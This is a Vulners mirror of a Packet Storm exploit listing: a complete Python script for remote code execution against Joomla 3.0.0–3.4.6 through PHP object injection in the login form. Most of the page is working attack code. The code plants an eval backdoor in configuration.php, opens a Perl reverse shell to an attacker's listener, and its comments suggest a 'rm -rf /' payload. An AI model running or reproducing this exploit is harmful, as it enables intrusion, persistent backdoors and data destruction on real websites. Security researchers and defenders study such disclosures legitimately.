Lucene search
K

Joomla 3.4.6 Remote Code Execution

🗓️ 07 Oct 2019 00:00:00Reported by Alessandro GroppoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 260 Views

Joomla 3.4.6 Remote Code Execution - implanting backdoor in 'configuration.php' file with an eval to enable RC

Code
`# Exploit Title: Joomla 3.4.6 - 'configuration.php' Remote Code Execution  
# Google Dork: N/A  
# Date: 2019-10-02  
# Exploit Author: Alessandro Groppo @Hacktive Security  
# Vendor Homepage: https//www.joomla.it/  
# Software Link: https://downloads.joomla.org/it/cms/joomla3/3-4-6  
# Version: 3.0.0 --> 3.4.6  
# Tested on: Linux  
# CVE : N/A  
#  
# Technical details: https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41  
# Github: https://github.com/kiks7/rusty_joomla_rce  
#  
# The exploitation is implanting a backdoor in /configuration.php file in the root directory   
# with an eval in order to be more suitable for all environments, but it is also more intrusive.  
# If you don't like this way, you can replace the get_backdoor_pay()   
# with get_pay('php_function', 'parameter') like get_pay('system','rm -rf /')  
  
#!/usr/bin/env python3  
  
import requests  
from bs4 import BeautifulSoup  
import sys  
import string  
import random  
import argparse  
from termcolor import colored  
  
PROXS = {'http':'127.0.0.1:8080'}  
PROXS = {}  
  
def random_string(stringLength):  
letters = string.ascii_lowercase  
return ''.join(random.choice(letters) for i in range(stringLength))  
  
  
backdoor_param = random_string(50)  
  
def print_info(str):  
print(colored("[*] " + str,"cyan"))  
  
def print_ok(str):  
print(colored("[+] "+ str,"green"))  
  
def print_error(str):  
print(colored("[-] "+ str,"red"))  
  
def print_warning(str):  
print(colored("[!!] " + str,"yellow"))  
  
def get_token(url, cook):  
token = ''  
resp = requests.get(url, cookies=cook, proxies = PROXS)  
html = BeautifulSoup(resp.text,'html.parser')  
# csrf token is the last input  
for v in html.find_all('input'):  
csrf = v  
csrf = csrf.get('name')  
return csrf  
  
  
def get_error(url, cook):  
resp = requests.get(url, cookies = cook, proxies = PROXS)  
if 'Failed to decode session object' in resp.text:  
#print(resp.text)  
return False  
#print(resp.text)  
return True  
  
  
def get_cook(url):  
resp = requests.get(url, proxies=PROXS)  
#print(resp.cookies)  
return resp.cookies  
  
  
def gen_pay(function, command):  
# Generate the payload for call_user_func('FUNCTION','COMMAND')  
template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'  
#payload = command + ' || $a=\'http://wtf\';'  
payload = 'http://l4m3rz.l337/;' + command  
# Following payload will append an eval() at the enabled of the configuration file  
#payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'  
function_len = len(function)  
final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))  
return final  
  
def make_req(url , object_payload):  
# just make a req with object  
print_info('Getting Session Cookie ..')  
cook = get_cook(url)  
print_info('Getting CSRF Token ..')  
csrf = get_token( url, cook)  
  
user_payload = '\\0\\0\\0' * 9  
padding = 'AAA' # It will land at this padding  
working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'  
clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects  
  
inj_object = '";'  
inj_object += object_payload  
inj_object += 's:6:"return";s:102:' # end the object with the 'return' part  
password_payload = padding + inj_object  
params = {  
'username': user_payload,  
'password': password_payload,  
'option':'com_users',  
'task':'user.login',  
csrf :'1'  
}  
  
print_info('Sending request ..')  
resp = requests.post(url, proxies = PROXS, cookies = cook,data=params)  
return resp.text  
  
def get_backdoor_pay():  
# This payload will backdoor the the configuration .PHP with an eval on POST request  
  
function = 'assert'  
template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'  
# payload = command + ' || $a=\'http://wtf\';'  
# Following payload will append an eval() at the enabled of the configuration file  
payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'  
function_len = len(function)  
final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))  
return final  
  
def check(url):  
check_string = random_string(20)  
target_url = url + 'index.php/component/users'  
html = make_req(url, gen_pay('print_r',check_string))  
if check_string in html:  
return True  
else:  
return False  
  
def ping_backdoor(url,param_name):  
res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)  
if 'PWNED' in res.text:  
return True  
return False  
  
def execute_backdoor(url, payload_code):  
# Execute PHP code from the backdoor  
res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)  
print(res.text)  
  
def exploit(url, lhost, lport):  
# Exploit the target  
# Default exploitation will append en eval function at the end of the configuration.pphp  
# as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')  
# e.g. get_payload('system','rm -rf /')  
  
# First check that the backdoor has not been already implanted  
target_url = url + 'index.php/component/users'  
  
make_req(target_url, get_backdoor_pay())  
if ping_backdoor(url, backdoor_param):  
print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)  
print_info('Now it\'s time to reverse, trying with a system + perl')  
execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')  
  
  
if __name__ == '__main__':  
parser = argparse.ArgumentParser()  
parser.add_argument('-t','--target',required=True,help='Joomla Target')  
parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')  
parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')  
parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')  
parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')  
args = vars(parser.parse_args())  
  
url = args['target']  
if(check(url)):  
print_ok('Vulnerable')  
if args['exploit']:  
exploit(url, args['lhost'], args['lport'])  
else:  
print_info('Use --exploit to exploit it')  
  
else:  
print_error('Seems NOT Vulnerable ;/')  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation